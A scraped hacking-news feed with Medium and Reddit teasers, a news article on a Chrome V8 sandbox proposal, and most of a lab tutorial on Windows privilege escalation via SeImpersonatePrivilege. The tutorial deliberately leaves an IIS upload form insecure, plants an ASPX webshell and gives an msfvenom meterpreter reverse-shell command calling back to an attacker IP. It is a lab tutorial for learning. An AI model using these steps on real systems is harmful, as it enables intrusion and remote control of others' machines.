Hacking on Medium
Cyber Security Interview Questions Part-2

https://cdn-images-1.medium.com/max/1400/0*gBbKtZQAI2iyYLGG.png
Precontext: This is the part 2 of the series of cyber security interview questions. If you haven’t read the first part go here…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
POPCORN — HackTheBox WriteUp

https://cdn-images-1.medium.com/max/771/1*lLX-zSeXBeaGSsCKlIKYNA.png
This box is a part of TJnull’s list of boxes. I am doing these boxes as a part of my preparation for OSCP. I will be sharing the writeups…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
HYBRID HACKER SUMMER CAMP 2021 GUIDE — Part Six: DEFCON 29

https://cdn-images-1.medium.com/max/1058/1*I7gZn2LKvXTzyi7W-pMTCw.jpeg
HYBRID HACKER SUMMER CAMP 2021 GUIDE — Part Six: DEFCON 29

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Iphone

My friends father has passed away recently they want us to go to court to be able to get into his iphone 11 pro max. we’re able to get the phone wiped but still has the password for the apple id password, would it be possible for anyone to get into it we’re open to paying we just really need into the phone so get it all erased so we don’t just have a dead iphone.

submitted by /u/_Percaholic_
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Build a Ventilated Cat Litter Box with Pi Zero

https://cdn-images-1.medium.com/max/2600/1*CdVOyIJnpcE-jt3vLoZpaw.jpeg
It’s hard for one to tie cats, those cute fluffy creatures, with the pungent smell from the waste they produce everyday. These two are my…

Continue reading on Medium »

Hacking on Medium
Installing Kali Linux

https://cdn-images-1.medium.com/max/1600/0*Tv--4Asq3c8mQ3Vl
Getting Started

Continue reading on Medium »

Deep Web
What are some good or popular dark websites for political discussions?

Specifically ones with a strong social democrat or left leaning communities. Any suggestions?

submitted by /u/Jaded195
[link] [comments]

hacking: security in practice
Anydesk

What types of hacking is possible when I connect with other persons PC? I am noob. Could you please show me guidance?

submitted by /u/sazid311
[link] [comments]

Hacking on Medium
OPTIMUM — HackTheBox WriteUp

https://cdn-images-1.medium.com/max/847/1*rY-CQQEu5SB7sAv3zwiGKw.png
This box is a part of TJnull’s list of boxes. I am doing these boxes as a part of my preparation for OSCP. I will be sharing the writeups…

Continue reading on Medium »

Black Hat Ethical Hacking
Bugs in Chrome’s JavaScript engine can lead to powerful exploits. This project aims to stop them

https://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Bugs in Chrome’s JavaScript engine can lead to powerful exploits. This project aims to stop themPost Views: 45
Reading Time: 1 Minute
A new project hopes to beef up the security of V8, a part of the Chrome browser that most users aren’t aware of but that hackers increasingly see as a juicy target.
JavaScript makes the web go around and Google has had to patch multiple zero-day or previously unknown flaws in Chrome’s V8 JavaScript engine this year. In April, Google admitted a high severity bug in V8 tracked as CVE-2021-21224 was being exploited in the wild.

Chrome has over two billion users, so when zero-day exploits strike Chrome, it’s a big deal. V8, an open source Google project, is a powerful JavaScript engine for Chrome that’s helped advance the web and web applications. V8 also powers the server-side runtime Node.js.

Now Samuel Groß, a member of the Google Project Zero security researchers team, has detailed a V8 sandbox proposal to help protect its memory from nastier bugs in the engine using virtual machine and sandboxing technologies.

“V8 bugs typically allow for the construction of unusually powerful exploits. Furthermore, these bugs are unlikely to be mitigated by memory safe languages or upcoming hardware-assisted security features such as MTE or CFI,” explains Groß, referring to security technologies like Microsoft’s Control-flow integrity (CFI) and Intel’s control-flow enforcement technologies (CET).

” As a result, V8 is especially attractive for real-world attackers.”
See Also: Hackers used never-before-seen wiper in recent attack on Iranian train system Groß’s comments suggest that even adopting a memory-safe language like Rust — which Google has adopted for new Android code — wouldn’t immediately solve the security problems faced by V8, which is written in C++.
He also outlines the broad design objectives but, signaling the size of the project, stresses that this sandbox project is in its infancy and that there are some big hurdles to overcome. But V8 is a Google-led open source project and given that V8 has been the source of security vulnerabilities in Chrome, there is a chance that member of GPZ’s proposal could make it across the line.

The issues affect how browser software interacts with hardware beyond the operating system and aims to prevent future flaws in V8 from corrupting a computer’s memory outside of the V8 heap. This would allow an attacker to execute malicious code.
See Also: Offensive Security Tool: Ruler One consideration for the additional security protections for V8 is the impact on hardware performance. Groß estimates his proposal would cause an overhead of about “1% overall on real-world workloads”.

Groß explains the problem with V8 that stems from JIT compilers that can be used trick a machine into emitting machine code that corrupts memory at runtime.

“Many V8 vulnerabilities exploited by real-world attackers are effectively 2nd order vulnerabilities: the root-cause is often a logic issue in one of the JIT compilers, which can then be exploited to generate vulnerable machine code (e.g. code that is missing a runtime safety check). The generated code can then in turn be exploited to cause memory corruption at runtime.” See Also: Hacking Stories: Andrian Lamo – The ‘homeless’ Hacker He also highlights the shortcomings of the latest security technologies, including hardware-based mitigations, that will make [...]

V8 an attractive target for years to come and hence is why V8 may need a sandbox approach. These include:

* The attacker has a great amount of control over the memory corruption primitive and can often turn these bugs into highly reliable and fast exploits
* Memory safe languages will not protect from these issues as they are fundamentally logic bugs
* Due to CPU side-channels and the potency of V8 vulnerabilities, upcoming hardware security features such as memory tagging will likely be bypassable most of the time

Despite downplaying the likelihood of the new V8 sandbox actually being adopted, the researcher seems upbeat about its prospects for doing its intended job by requiring an attacker chain together two separate vulnerabilities in order to execute code of their choice.

“With this sandbox, attackers are assumed to be able to corrupt memory inside the virtual memory cage arbitrarily and from multiple threads, and will now require an additional vulnerability to corrupt memory outside of it, and thus to execute arbitrary code,” he wrote.
Source: www.zdnet.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/chinese-flag-keyboard-internet-istock-90x90.jpg DeadRinger: Chinese APTs strike major telecommunications companies1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/public-wifi-90x90.jpg NSA Warns Public Networks are Hacker Hotbeds2 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/iran-thumb-90x90.jpg Hackers used never-before-seen wiper in recent attack on Iranian train system5 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/PunkSpider-90x90.png Reboot of PunkSpider Tool at DEF CON Stirs Debate6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/apple-mac-security-90x90.jpg Apple Patches Actively Exploited Zero-Day in iOS, MacOS1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/Windows-Abstract-90x90.jpg Microsoft Rushes Fix for ‘PetitPotam’ Attack PoC1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/Ransomware-Key-90x90.jpg Kaseya Obtains Universal Decryptor for REvil Ransomware1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/Atlassian-Jira-90x90.png Critical Jira Flaw in Atlassian Could Lead to RCE2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/Copy-of-Untitled-90x90.png MacOS Being Picked Apart by $49 XLoader Data Stealer2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/printer-1-90x90.jpg 16-Year-Old HP Printer-Driver Bug Impacts Millions of Windows Machines2 weeks ago
style="display:block; text-align:center;"
data-ad-layout="in-article"
data-ad-format="fluid"
data-ad-client="ca-pub-6620833063853657"
data-ad-slot="4517761481">
The post Bugs in Chrome’s JavaScript engine can lead to powerful exploits. This project aims to stop them first appeared on Black Hat Ethical Hacking.

Hacking Articles|Raj Chandel's Blog
Windows Privilege Escalation: SeImpersontate

In this article, we will be showcasing the process of creating a lab environment on an IIS Server running a Windows Server 2019 machine. After setting the IIS server, we will be focusing on the usage of the SeImpersontatePrivilege or Impersonate a Client After Authentication" User Right Privileges to elevate the access on the machine using different methods. Table of Contents <o:p· Introduction <o:p· Lab Setup<o:po IIS Installation<o:p

o Adding the Upload Functionality<o:p

o Changing Permissions<o:p

· Exploitation of IIS Server<o:p· Elevating Privileges using PrintSpoofer <o:p· Conclusion <o:pIntroduction <o:pTalking about the SeImpersontatePrivilege (Impersonate a Client after Authentication), It was introduced in Windows 2000 SP4. The users which are assigned this Privilege are the Members of the Device's Local Administrators Group and the Device's Local Service Account. Apart from these users and groups following components also have this user right: Services initiated by the Service Control Manager Component Object Model (COM) servers initiated by the COM infrastructure and are configured to run under a particular account Now that we know which types of users have this privilege, it’s time to understand what do the users get with these privileges. Whenever a user is assigned the SeImpersontatePrivilege, the user is permitted to run programs on behalf of that user to impersonate a client. This particular privilege was designed to prevent unauthorized servers from impersonating clients that connect to it through methods such as RPC or Named Pipes.<o:p

Now that we have a certain understanding of the SeImpersontatePrivilege. Let’s dive into the Lab setup for now. We will discuss this as we proceed.<o:p Lab Setup<o:pAs we learned from the Introduction that this kind of privilege is set on the users that are local administrators or have similar roles. So, to replicate the vulnerability, we will be using Window Server 2019 with AD.  As Microsoft patched the vulnerabilities, we will be using Build 17763 as shown in the image below.<o:p systeminfo<o:phttps://1.bp.blogspot.com/-hEyVtVp8jxc/YQpG1n5fu_I/AAAAAAAAyFk/hY-RGt8D05kPQ6Rl8SiLenf0UBGo2r5ngCLcBGAsYHQ/s16000/1.png <v:shapetype<v:stroke<v:formulas<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:path<o:lock<v:shape<v:imagedata<o:p IIS Installation<o:pWe will be getting the particular privilege by installing the IIS server on our machine. To configure the IIS server, we will need to open the Server Manager and Choose the Add roles and features from the QuickStart Menu as shown in the image below.<o:p https://1.bp.blogspot.com/-1g7WKf3nl1g/YQpLXTVqLZI/AAAAAAAAyFs/niMgNN8ybf0SiEuWjeWRPcnXOIoX42V8gCLcBGAsYHQ/s16000/2.png <v:shape<v:imagedata<o:p

This will open an Installation Wizard. We move through the Before You Begin section without making any changes. Now we are presented with the Installation Type section, we will proceed to choose the Role-based or feature-based installation option. <o:p https://1.bp.blogspot.com/-nwScmdBuMgk/YQpLplS1O6I/AAAAAAAAyF0/VesdttgTupYObJgS--vs-YifHHKNxmyhQCLcBGAsYHQ/s16000/3.png <v:shape<v:imagedata<o:p

Again, we are breezing through the Server Selection as this would be different for each user as it is based on the name you gave to your server and its subsequent Forest. We get to the Server Roles section. Here, we have the option to choose the Web Server (IIS) as demonstrated below.<o:p https://1.bp.blogspot.com/-fSf04I2mZYA/YQpLwUvT4rI/AAAAAAAAyF4/BRq0YZJ-tzwukN_QjDHpJovT4dTCXvN5QCLcBGAsYHQ/s16000/4.png <v:shape[...]

<v:imagedata<o:p

Pressing the next button will lead us to the Features Section. Here, we have to make sure that we have some dependencies that are required for the IIS to function properly. It includes .NET Framework 4.7; chances are it will be installed by default. But other than that we need to install the ASP .NET 4.7 and under the WCF Services, we have the HTTP Activation and the TCP Port Sharing. Again, if you have something that is already installed, it is fine to move on by clicking Next. <o:p https://1.bp.blogspot.com/-gXYLjPISz6E/YQpL2sLfKZI/AAAAAAAAyF8/-dhGzXjMFLkjdEkZpafZ1-lsKVAmPl24ACLcBGAsYHQ/s16000/5.png <v:shape<v:imagedata<o:p

Now, we have the section that has the Role-based Services that we want to install. There will be some automatically selected apart from those we will be selecting the Web Server and its components containing the Common HTTP Features, Health and Diagnostics, Performance and Security components as shown in the image below.<o:p https://1.bp.blogspot.com/-td_tZYIpwg4/YQpL7nLSnyI/AAAAAAAAyGE/fuE5fvko1wMyo88_gojVKcYCc2b--3bPACLcBGAsYHQ/s16000/6.png <v:shape<v:imagedata<o:p

At last, we have the Confirmation Section. Here, we can verify all the services and components that we want to install. You can move on to the installation by clicking the Install button.<o:p https://1.bp.blogspot.com/-F3owB_yyT1I/YQpMGJ-8RtI/AAAAAAAAyGI/dpfoi-v3Lq849eS0ZMoaQJlmT9OgdwoTwCLcBGAsYHQ/s16000/7.png <v:shape<v:imagedata<o:p

The Installation process will run for a little bit and then you would have successfully installed the IIS Service. We can view the IIS Welcome Page by accessing the IP Address of the Server through a Web Browser of your choice. In case, you run into an issue, try restarting the IIS service or the Server Itself. <o:p https://1.bp.blogspot.com/-nxQP1_Js3bw/YQpMNXeyDkI/AAAAAAAAyGU/M5unZiR5TKEeC_2CFdY6P08w52i0SQkDgCLcBGAsYHQ/s16000/8.png <v:shape<v:imagedata<o:p Adding the Upload Functionality<o:pSimilar to the /var/www/html from the Linux HTTP server, we have the equivalent inside the inetpub/wwwroot location. It will have the welcome page that we viewed on the Web Browser Earlier. At this stage, we want to add the Upload Functionality onto our IIS Server. To do this, we created some web pages and scripts. We won’t be explaining those in detail over here. But, in case you want to add those on your deployment, download the files from our GitHub Repository and Extract those files inside the wwwroot directory in such a way that it replicates the image shown below.<o:p https://1.bp.blogspot.com/-foDRx5_UCFA/YQpMUEYgAtI/AAAAAAAAyGY/SGzHztw7dl4s1Z3Uwk1GRoBm-yLO7Uc2gCLcBGAsYHQ/s16000/9.png <v:shape<v:imagedata<o:p

To access the CS.aspx on our ISS Server, we will be editing the iisstart HTML page. Upon opening the file, the first time, you will be looking at some comments and the Official Microsoft Links. We removed those data and added the static address of our server followed by the name of the aspx file. This will make our CS.aspx webpage accessible when we click on the Welcome Page that used to redirect to the Microsoft Home Page. We are doing this to make our application easily accessible.<o:p https://1.bp.blogspot.com/-okMj6QaiPoo/YQpMdVQ8ebI/AAAAAAAAyGg/MSZitqIv45g-IN3WexEF_e3fjljDA1HNQCLcBGAsYHQ/s16000/10.png <v:shape<v:imagedata<o:p Changing Permissions<o:pThe process of adding web pages with the Upload functionality doesn’t end here, we need to change the permission so that we can access the webpage and upload files. To change the permissions, we open the IIS Manager. Here on the right-hand side Menu, we have the Edit Permissions option as highlighted in the image.<o:p https://1.bp.blogspot.com/-tUKKDEEIHxQ/YQpMmwvXZyI/AAAAAAAAyGo/MrFKRTnkP6saCa5YprW0dujnCRAsrRVHQCLcBGAsYHQ/s16000/11.png <v:shape<v:imagedata<o:p

This will open the wwwroot Directory Permissions.[...]

Here, we are allowing the Users of the Domain Full Control with the Modify access of the wwwroot directory. However, there exists a more secure way of doing this by making a dedicated user for the management of the IIS Server and adding the restricted permissions for that particular user. However, in the interest of time and convenience, we are applying permission for all users. <o:p https://1.bp.blogspot.com/-_GiYFeHCk8w/YQpMvUA1a3I/AAAAAAAAyGs/PQyCGsR79T43x9ql1a6SP1HuI9f_R722gCLcBGAsYHQ/s16000/12.png <v:shape<v:imagedata<o:p Exploiting IIS Server<o:pNow that we have the IIS Server up and running. Although we must mention that in case your IIS Server is not working as expected, try restarting the IIS service or the Server itself. Moving on, to exploit the IIS Server, we have added the File Upload functionality. Moving onto our attacker machine i.e., Kali Machine. Here, we have the Kali machine also set up in the network in such a way that it is possible to access the IIS service through a Web Browser on Kali. We browse the File Upload functionality and upload ASP Command Shell that is located at /usr/share/webshells/aspx/cmdasp.aspx on the webpage as shown in the image below.<o:p https://1.bp.blogspot.com/-uhuIjryEh4E/YQpM23iPeOI/AAAAAAAAyG0/ZTLCc5zLNlkyssTGIu3JIdhyb1fmus4CACLcBGAsYHQ/s16000/13.png <v:shape<v:imagedata<o:p

Clicking on the Upload button, we will have the file successfully uploaded. This is just a demonstration; real-life scenarios will have additional security and steps involved before uploading a shell.<o:p https://1.bp.blogspot.com/-ypocOSiEnkA/YQpM8Rle_qI/AAAAAAAAyG4/X_Vhv3cFTY0Mi3GERq4uKdXv9rmdMUM_gCLcBGAsYHQ/s16000/14.png <v:shape<v:imagedata<o:p

As per the programming of the files that provided the Upload functionality, it was managed that the uploaded files will be placed inside the Uploads directory. So, we can access the uploaded shell by browsing at /Uploads/cmdasp.aspx as shown in the image. Here we have a field that can be used to run commands on the target machine. We demonstrated this by running the net user command. <o:p https://1.bp.blogspot.com/-UrJmTY80pns/YQpNBW4ISxI/AAAAAAAAyHA/rZodBwvLMEAuSeGTjGwYxD9O6lNODZk2wCLcBGAsYHQ/s16000/15.png <v:shape<v:imagedata<o:p

Now that we have tested that we can upload a shell and execute commands, it’s time to exploit the system and gain a meterpreter on the target machine. This means that we will need to create a payload using the msfvenom or any other tool of your choice. We are naming our payload as shell.exe<o:p msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=1234 -f exe > shell.exe<o:phttps://1.bp.blogspot.com/-BIvPDLY-pSA/YQpNLZmiOqI/AAAAAAAAyHE/XJ8gNLNxXwoPvzSQAzycvEj8biM3IJjUwCLcBGAsYHQ/s16000/16.png <v:shape<v:imagedata<o:p

After successfully creating the payload, we will upload the payload similarly as we did with the aspx shell earlier.  We can see that the executable payload has been successfully uploaded to the target machine.<o:p https://1.bp.blogspot.com/-uyZWAUhn65Y/YQpNQ_wVkuI/AAAAAAAAyHM/YXC1u9qnaeYzcFaymMSe51v_82QCZ-X2gCLcBGAsYHQ/s16000/17.png <v:shape<v:imagedata<o:p

Now to generate the meterpreter shell, we will need to execute the payload as well. Hence, we will use the aspx shell to browse the path of the uploaded executable shell.exe file as shown in the image below.<o:p https://1.bp.blogspot.com/-Da7RkbB4hiw/YQpNV9qe3II/AAAAAAAAyHU/ZnZwX5Qb2cAslQ_URe5lK0MhqY59wHWeACLcBGAsYHQ/s16000/18.png <v:shape<v:imagedata<o:p

Before Executing the payload, we will need to create a listener that will capture the meterpreter reverse shell generated from the payload. We will need to provide the same configurations that we used while crafting the payload using the msfvenom. Next, we will exploit the payload on the machine using the aspx shell and receive the meterpreter shell. Si[...]